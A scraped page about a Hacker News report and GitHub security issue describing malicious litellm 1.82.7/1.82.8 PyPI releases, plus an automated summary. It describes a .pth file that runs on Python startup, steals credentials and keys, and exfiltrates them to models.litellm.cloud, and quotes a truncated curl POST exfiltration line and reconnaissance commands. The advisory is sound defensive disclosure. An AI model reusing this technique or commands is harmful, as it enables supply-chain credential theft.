Tell HN: Litellm 1.82.7 and 1.82.8 on PyPI are compromised
Recorded: March 25, 2026, 3 a.m.
| Original | Summarized |
GitHub · Where software is built Skip to content Navigation Menu Toggle navigation
Sign in
Appearance settings PlatformAI CODE CREATIONGitHub CopilotWrite better code with AIGitHub SparkBuild and deploy intelligent appsGitHub ModelsManage and compare promptsMCP RegistryNewIntegrate external toolsDEVELOPER WORKFLOWSActionsAutomate any workflowCodespacesInstant dev environmentsIssuesPlan and track workCode ReviewManage code changesAPPLICATION SECURITYGitHub Advanced SecurityFind and fix vulnerabilitiesCode securitySecure your code as you buildSecret protectionStop leaks before they startEXPLOREWhy GitHubDocumentationBlogChangelogMarketplaceView all featuresSolutionsBY COMPANY SIZEEnterprisesSmall and medium teamsStartupsNonprofitsBY USE CASEApp ModernizationDevSecOpsDevOpsCI/CDView all use casesBY INDUSTRYHealthcareFinancial servicesManufacturingGovernmentView all industriesView all solutionsResourcesEXPLORE BY TOPICAISoftware DevelopmentDevOpsSecurityView all topicsEXPLORE BY TYPECustomer storiesEvents & webinarsEbooks & reportsBusiness insightsGitHub SkillsSUPPORT & SERVICESDocumentationCustomer supportCommunity forumTrust centerPartnersView all resourcesOpen SourceCOMMUNITYGitHub SponsorsFund open source developersPROGRAMSSecurity LabMaintainer CommunityAcceleratorGitHub StarsArchive ProgramREPOSITORIESTopicsTrendingCollectionsEnterpriseENTERPRISE SOLUTIONSEnterprise platformAI-powered developer platformAVAILABLE ADD-ONSGitHub Advanced SecurityEnterprise-grade security featuresCopilot for BusinessEnterprise-grade AI featuresPremium SupportEnterprise-grade 24/7 supportPricing Search or jump to... Search code, repositories, users, issues, pull requests...
Search Clear
Search syntax tips Provide feedback Include my email address so I can be contacted Cancel Submit feedback Saved searches
Name Query To see all available qualifiers, see our documentation. Cancel Create saved search Sign in Sign up
Appearance settings Resetting focus You signed in with another tab or window. Reload to refresh your session. Dismiss alert BerriAI litellm Public Uh oh! There was an error while loading. Please reload this page.
Notifications
Fork
Star Code Issues Pull requests Discussions Actions Projects Security Insights
Additional navigation options
Code Issues Pull requests Discussions Actions Projects Security Insights
[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 — credential stealer #24512New issueCopy linkNew issueCopy linkOpenOpen[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 — credential stealer#24512Copy linkLabelsllm translationpotential-duplicateDescriptionisfinneopened on Mar 24, 2026Issue body actions[LITELLM TEAM] - For updates from the team, please see: #24518 Reproduction System info: hostname, whoami, uname -a, ip addr, ip route Stage 2: Encryption & Exfiltration Collected data is written to a temporary file curl -s -o /dev/null -X POST \ Trigger mechanism: .pth files in site-packages/ are executed automatically by the Python interpreter on startup (see Python docs on .pth files). No import statement is needed. Impact Local development machines Affected Version Confirmed: litellm==1.82.8 (PyPI wheel litellm-1.82.8-py3-none-any.whl) Recommended Actions PyPI: Yank/remove litellm 1.82.8 immediately Environment OS: Ubuntu 24.04 (Docker container) Footer © 2026 GitHub, Inc. Footer navigation Terms Privacy Security Status Community Docs Contact Manage cookies Do not share my personal information You can’t perform that action at this time. |
BerriAI has identified a critical security vulnerability within the litellm 1.82.8 package distributed via PyPI, representing a sophisticated supply chain attack. The core of the issue centers around a maliciously crafted `litellm_init.pth` file, a .pth file utilized by Python to define modules, which automatically executes a credential-stealing script upon interpreter startup. This file, measuring 34,628 bytes, contains a base64-encoded payload designed to harvest a comprehensive range of sensitive data from the host system. Specifically, the script identifies and collects information encompassing system details (hostname, user, operating system), environment variables (including API keys, secrets, and tokens), SSH keys, Git credentials, and credentials for various cloud services like AWS, Kubernetes, GCP, and Azure. Furthermore, it attempts to extract Docker configurations, package manager settings, shell history, and even crypto wallets and SSL/TLS private keys. The collected data is then encrypted using AES-256 and RSA, packaged into a compressed archive, and exfiltrated via a POST request to the domain `models.litellm.cloud`, a domain distinct from the official `litellm.ai` domain. The vulnerability’s trigger mechanism relies on the automatic execution of .pth files within the `site-packages` directory by the Python interpreter upon startup, circumventing the need for any explicit import statement. The attacker's method leverages double base64 encoding for concealment and uses a publicly accessible domain for exfiltration. The impact of this compromise is extensive, potentially affecting local development environments, CI/CD pipelines, and production servers, given the widespread use of the litellm package. BerriAI recommends immediate action, including the immediate removal of the vulnerable package from PyPI and a thorough audit of all systems where litellm 1.82.8 was installed. Affected parties should rotate all compromised credentials and conduct a comprehensive review of their CI/CD pipelines to identify and remediate similar vulnerabilities. The technical details reveal the RSA public key, further informing security assessments. |